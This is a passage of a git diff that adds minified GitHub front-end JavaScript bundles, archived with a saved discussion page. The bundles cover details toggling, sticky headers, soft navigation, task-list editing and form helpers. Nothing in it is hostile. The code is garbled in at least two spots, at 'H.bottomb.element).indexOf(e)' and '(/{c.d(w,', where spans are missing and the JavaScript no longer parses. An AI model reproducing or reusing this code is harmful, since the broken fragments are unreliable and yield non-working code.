h(n){return[...n.querySelectorAll(".js-details-target")].filter(l=>l.closest(".js-details-container")===n)}t(h,"containerTargets");function v(n,l){const g=n.getAttribute("data-details-container-group");return g?((0,a.uQ)(n,()=>{for(const f of E(g))f!==n&&s(f,l)}),g):null}t(v,"toggleGroup");function s(n,l){n.classList.toggle("open",l),n.classList.toggle("Details--on",l);for(const g of h(n))g.setAttribute("aria-expanded",l.toString())}t(s,"updateOpenState");function S(n,l){var g,f;const w=n.getAttribute("data-details-container")||".js-details-container",M=n.closest(w),D=(g=l==null?void 0:l.force)!=null?g:!M.classList.contains("open"),I=(f=l==null?void 0:l.withGroup)!=null?f:!1;y(M,()=>{s(M,D);const e=I?v(M,D):null;Promise.resolve().then(()=>{m(M),c(n),M.dispatchEvent(new CustomEvent("details:toggled",{bubbles:!0,cancelable:!1,detail:{open:D}})),e&&M.dispatchEvent(new CustomEvent("details:toggled-group",{bubbles:!0,cancelable:!1,detail:{open:D,group:e}}))})})}t(S,"toggleDetailsTarget");function T(n){const l=n.getAttribute("data-details-container")||".js-details-container",f=n.closest(l).classList;return f.contains("Details--on")||f.contains("open")}t(T,"isDetailsTargetExpanded");function O(n){const l=n.altKey,g=n.currentTarget;S(g,{withGroup:l}),n.preventDefault()}t(O,"handleDetailsTargetClick"),(0,A.on)("click",".js-details-target",O),(0,d.Z)(function({target:n}){n&&C(n)});function C(n){let l=!1,g=n.parentElement;for(;g;)g.classList.contains("Details-content--shown")&&(l=!0),g.classList.contains("js-details-container")&&(g.classList.toggle("open",!l),g.classList.toggle("Details--on",!l),l=!1),g=g.parentElement}t(C,"ensureExpanded")},30479:(R,L,r)=>{r.d(L,{h:()=>A});var d=r(59753);(0,d.on)("click",".js-skip-to-content",function(i){const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;c instanceof HTMLElement&&(c.setAttribute("tabindex","-1"),c.setAttribute("data-skipped-to-content","1"),c.focus())}i.preventDefault()});function A(){let i=!1;const m=document.getElementById("start-of-content");if(m){const c=m.nextElementSibling;if(c instanceof HTMLElement)return i=c.getAttribute("data-skipped-to-content")==="1",i&&c.removeAttribute("data-skipped-to-content"),i}}t(A,"hasSkippedToContent");const _="ontouchstart"in document;function y(){return window.innerWidth>1012}t(y,"compatibleDesktop");for(const i of document.querySelectorAll(".HeaderMenu-details"))i.addEventListener("toggle",o),_||(i.addEventListener("mouseover",a),i.addEventListener("mouseleave",a));let p=!1;function o(i){if(!p){p=!0;for(const m of document.querySelectorAll(".HeaderMenu-details"))m!==i.currentTarget&&m.removeAttribute("open");setTimeout(()=>p=!1)}}t(o,"onMenuToggle");function a(i){const{currentTarget:m}=i;!(m instanceof HTMLElement)||!y()||(i.type==="mouseover"&&i instanceof MouseEvent?i.target instanceof Node&&i.relatedTarget instanceof Node&&m.contains(i.target)&&!m.contains(i.relatedTarget)&&m.setAttribute("open",""):m.removeAttribute("open"))}t(a,"onMenuHover")},55444:(R,L,r)=>{r.d(L,{$:()=>i,G:()=>a});var d=r(6741),A=r(64463),_=r(59753);(0,A.N7)("include-fragment, poll-include-fragment",{subscribe:c=>(0,d.qC)((0,d.RB)(c,"error",o),(0,d.RB)(c,"loadstart",p))}),(0,_.on)("click","include-fragment button[data-retry-button]",({currentTarget:c})=>{const E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const 